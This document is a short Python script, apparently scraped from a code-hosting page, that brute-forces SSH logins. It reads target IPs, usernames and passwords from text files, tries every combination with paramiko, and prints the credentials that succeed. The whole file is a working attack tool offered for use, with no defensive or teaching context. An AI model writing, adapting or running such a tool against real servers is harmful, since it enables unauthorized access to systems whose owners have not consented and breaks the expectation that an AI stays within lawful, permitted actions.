| import paramiko | |
| import socket | |
| import asyncio | |
| IP_LIST = [] | |
| USERNAME_LIST = [] | |
| PASSWORD_LIST = [] | |
| def read_file_lines(filename): | |
| with open(filename, 'r') as file: | |
| lines = file.readlines() | |
| return [line.strip() for line in lines] | |
| async def test_credentials(ip, username, password): | |
| client = paramiko.SSHClient() | |
| client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
| try: | |
| client.connect(ip, username=username, password=password, timeout=5) | |
| print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}") | |
| client.close() | |
| except paramiko.AuthenticationException: | |
| print("نشد") | |
| except socket.error: | |
| print("نشد") | |
| async def scan_ips(ip_list): | |
| tasks = [] | |
| for ip in ip_list: | |
| for username in USERNAME_LIST: | |
| for password in PASSWORD_LIST: | |
| tasks.append(test_credentials(ip, username, password)) | |
| await asyncio.gather(*tasks) | |
| if __name__ == "__main__": | |
| IP_LIST = read_file_lines("ips.txt") | |
| USERNAME_LIST = read_file_lines("user.txt") | |
| PASSWORD_LIST = read_file_lines("pass.txt") | |
| asyncio.run(scan_ips(IP_LIST)) |